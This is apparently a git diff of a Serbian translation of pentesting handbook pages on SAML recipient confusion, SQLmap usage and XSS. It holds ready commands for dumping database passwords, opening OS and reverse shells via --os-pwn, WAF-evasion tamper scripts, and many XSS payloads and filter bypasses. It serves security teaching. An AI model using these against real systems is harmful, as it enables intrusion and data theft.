Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li **Provajder usluga pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Recipient**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.
|
||||
|
||||
#### **Kako to funkcioniše**
|
||||
|
||||
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (nazvanom SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske agencije koja služi SP-Legit.
|
||||
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (nazvanom SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.
|
||||
|
||||
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničke Identitetske agencije. SAML odgovor od Identitetske agencije do SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen SP-Legit, zatim se preusmerava na SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata potvrdu, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.
|
||||
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera do SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen SP-Legit, se zatim preusmerava na SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata potvrdu, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
@ -244,15 +242,15 @@ return "SAML Response successfully redirected to SP-Target."
|
||||
except Exception as e:
|
||||
return f"Failed to redirect SAML Response: {e}"
|
||||
```
|
||||
## XSS u funkcionalnosti odjave
|
||||
## XSS u Logout funkcionalnosti
|
||||
|
||||
Originalno istraživanje može se pristupiti preko [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
||||
|
||||
Tokom procesa brute force napada na direktorijume, otkrivena je stranica za odjavu na:
|
||||
Tokom procesa brute forcing-a direktorijuma, otkrivena je stranica za odjavu na:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
При приступању овом линку, дошло је до преусмеравања на:
|
||||
Kada se pristupi ovoj vezi, došlo je do preusmeravanja na:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
|
@ -1,6 +1,10 @@
|
||||
# Osnovni argumenti za SQLmap
|
||||
# SQLMap
|
||||
|
||||
## Opšti
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovni argumenti za SQLmap
|
||||
|
||||
### Opšti
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
@ -17,9 +21,9 @@
|
||||
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
||||
--proxy=PROXY
|
||||
```
|
||||
## Preuzimanje informacija
|
||||
### Preuzimanje informacija
|
||||
|
||||
### Interno
|
||||
#### Interno
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
@ -27,7 +31,7 @@
|
||||
--users #Get usernames od DB
|
||||
--passwords #Get passwords of users in DB
|
||||
```
|
||||
### DB podaci
|
||||
#### DB podaci
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -36,24 +40,24 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
# Mesto injekcije
|
||||
## Mesto injekcije
|
||||
|
||||
## Iz Burp/ZAP hvatanja
|
||||
### Iz Burp/ZAP snimka
|
||||
|
||||
Uhvatite zahtev i kreirajte req.txt datoteku
|
||||
Snimite zahtev i kreirajte req.txt datoteku
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
## GET Request Injection
|
||||
### GET Request Injection
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
## POST Zahtev Injekcija
|
||||
### POST Request Injection
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
## Injekcije u Header-ima i drugim HTTP metodama
|
||||
### Injekcije u zaglavljima i drugim HTTP metodama
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
@ -67,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
## Drugi red injekcija
|
||||
### Drugi red injekcija
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
## Šel
|
||||
### Shell
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -83,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
## Proučavanje veb sajta sa SQLmap-om i automatska eksploatacija
|
||||
### Crawling a website with SQLmap and auto-exploit
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -91,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
# Prilagođavanje Injekcije
|
||||
## Prilagođavanje Injekcije
|
||||
|
||||
## Postavi sufiks
|
||||
### Postavi sufiks
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
## Prefiks
|
||||
### Prefiks
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
## Pomoć u pronalaženju boolean injekcije
|
||||
### Pomoć u pronalaženju boolean injekcije
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
## Tamper
|
||||
### Tamper
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -117,47 +121,47 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
|
||||
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
|
||||
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
|
||||
| between.py | Zamenjuje operator veće od \('>'\) sa 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Zatim zamenjuje karakter = sa LIKE operatorom |
|
||||
| between.py | Zamenjuje operator veći od \('>'\) sa 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
|
||||
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zamenjuje instance poput 'MID\(A, B, C\)' sa 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Zamenjuje instance poput 'CONCAT\(A, B\)' sa 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "\u0022" |
|
||||
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "\u0022" |
|
||||
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti \('='\) sa operatorom 'LIKE' |
|
||||
| escapequotes.py | Slash escape za navodnike \(' i "\) |
|
||||
| greatest.py | Zamenjuje operator veće od \('>'\) sa 'GREATEST' ekvivalentom |
|
||||
| greatest.py | Zamenjuje operator veći od \('>'\) sa 'GREATEST' ekvivalentom |
|
||||
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
|
||||
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL\(A, B\)' sa 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom bez verzije |
|
||||
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
|
||||
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu \(npr. .replace\("SELECT", ""\)\) filteri |
|
||||
| percentage.py | Dodaje znak procenta \('%'\) ispred svakog karaktera |
|
||||
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću u različitim slučajevima |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću slučajnosti |
|
||||
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
|
||||
| securesphere.py | Dodaje posebno oblikovanu string |
|
||||
| securesphere.py | Dodaje posebno oblikovanu string |
|
||||
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
|
||||
| space2comment.py | Zamenjuje karakter razmaka \(' '\) sa komentarima |
|
||||
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom crtica \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2hash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2morehash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mssqlhash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim novim redom \('\n'\) |
|
||||
| space2mysqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqldash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom crtica \('--'\) praćenim novim redom \('\n'\) |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mssqlhash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim novim redom \('\n'\) |
|
||||
| space2mysqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqldash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim novim redom \('\n'\) |
|
||||
| space2plus.py | Zamenjuje karakter razmaka \(' '\) sa plusom \('+'\) |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima \(&& i |
|
||||
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
|
||||
| unmagicquotes.py | Zamenjuje karakter navodnika \('\) sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju \(da bi radilo\) |
|
||||
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
|
||||
| varnish.py | Dodaje HTTP header 'X-originating-IP' |
|
||||
| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| xforwardedfor.py | Dodaje lažni HTTP header 'X-Forwarded-For' |
|
||||
| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' |
|
||||
| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' |
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,12 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Metodologija
|
||||
|
||||
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
|
||||
2. **Pronađite kontekst** gde se odražava/koristi.
|
||||
3. Ako je **odražano**
|
||||
2. **Pronađite kontekst** u kojem se odražava/koristi.
|
||||
3. Ako je **odraženo**
|
||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
||||
1. U **sirovom HTML-u**:
|
||||
1. Možete li kreirati nove HTML tagove?
|
||||
@ -33,7 +35,7 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o:
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Odražene vrednosti
|
||||
## Odrasle vrednosti
|
||||
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
|
||||
|
||||
@ -56,8 +58,8 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
|
||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
@ -70,7 +72,7 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
|
||||
|
||||
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
|
||||
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** vaš kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -84,7 +86,7 @@ alert(1)
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
**Proverite sledeću stranicu za više informacija:**
|
||||
**Pogledajte sledeću stranicu za više informacija:**
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
@ -161,12 +163,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-force-ujete koji tagovi** možete da kreirate.\
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-force-ujete koje tagove** možete kreirati.\
|
||||
Kada pronađete **koji tagovi su dozvoljeni**, moraćete da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
|
||||
|
||||
### Brute-force tagova/događaja
|
||||
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
|
||||
### Prilagođeni tagovi
|
||||
|
||||
@ -235,7 +237,7 @@ onerror=alert`1`
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
Više ovih karaktera možete pronaći [ovde](https://www.unicode.org/charts/normalization/).\
|
||||
Da proverite u kojim su karakterima dekomponovani, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
|
||||
Da proverite u koje se karaktere dekomponuje, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -267,12 +269,12 @@ Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar t
|
||||
```
|
||||
### Unutar atributa
|
||||
|
||||
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
||||
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
||||
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML tagova se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
|
||||
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```javascript
|
||||
@ -303,7 +305,7 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```
|
||||
### Posebni protokoli unutar atributa
|
||||
|
||||
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, a neki neće.
|
||||
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, dok neki neće.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -325,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Mesta gde možete ubrizgati ove protokole**
|
||||
|
||||
**Uopšteno** `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
**Uopšteno** `javascript:` protokol se može **koristiti u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -357,11 +359,11 @@ Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
|
||||
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
||||
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisete **HTML tagove za izvršavanje JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -373,17 +375,17 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Obrnuto tab nabbing
|
||||
### Obrnuto navođenje taba
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ako možete da ubrizgate bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
|
||||
Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### za zaobilaženje Event Handlers
|
||||
### o zaobilaženju Event Handlers
|
||||
|
||||
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
|
||||
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženje:
|
||||
@ -488,7 +490,7 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
|
||||
Ovo se može **zloupotrebiti** koristeći:
|
||||
@ -503,7 +505,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Izvršavanje kodova u kodiranom obliku
|
||||
### Izvršenje kodova u kodiranom obliku
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -516,9 +518,9 @@ alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### Tehnike za zaobilaženje crnih lista u JavaScript-u
|
||||
### JavaScript bypass blacklists techniques
|
||||
|
||||
**Stringovi**
|
||||
**Strings**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
@ -562,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript novi redovi (iz** [**JavaScript novi red**](#javascript-new-lines) **trik)**
|
||||
**JavaScript novi redovi (iz** [**JavaScript novog reda**](#javascript-new-lines) **trika)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -753,29 +755,29 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
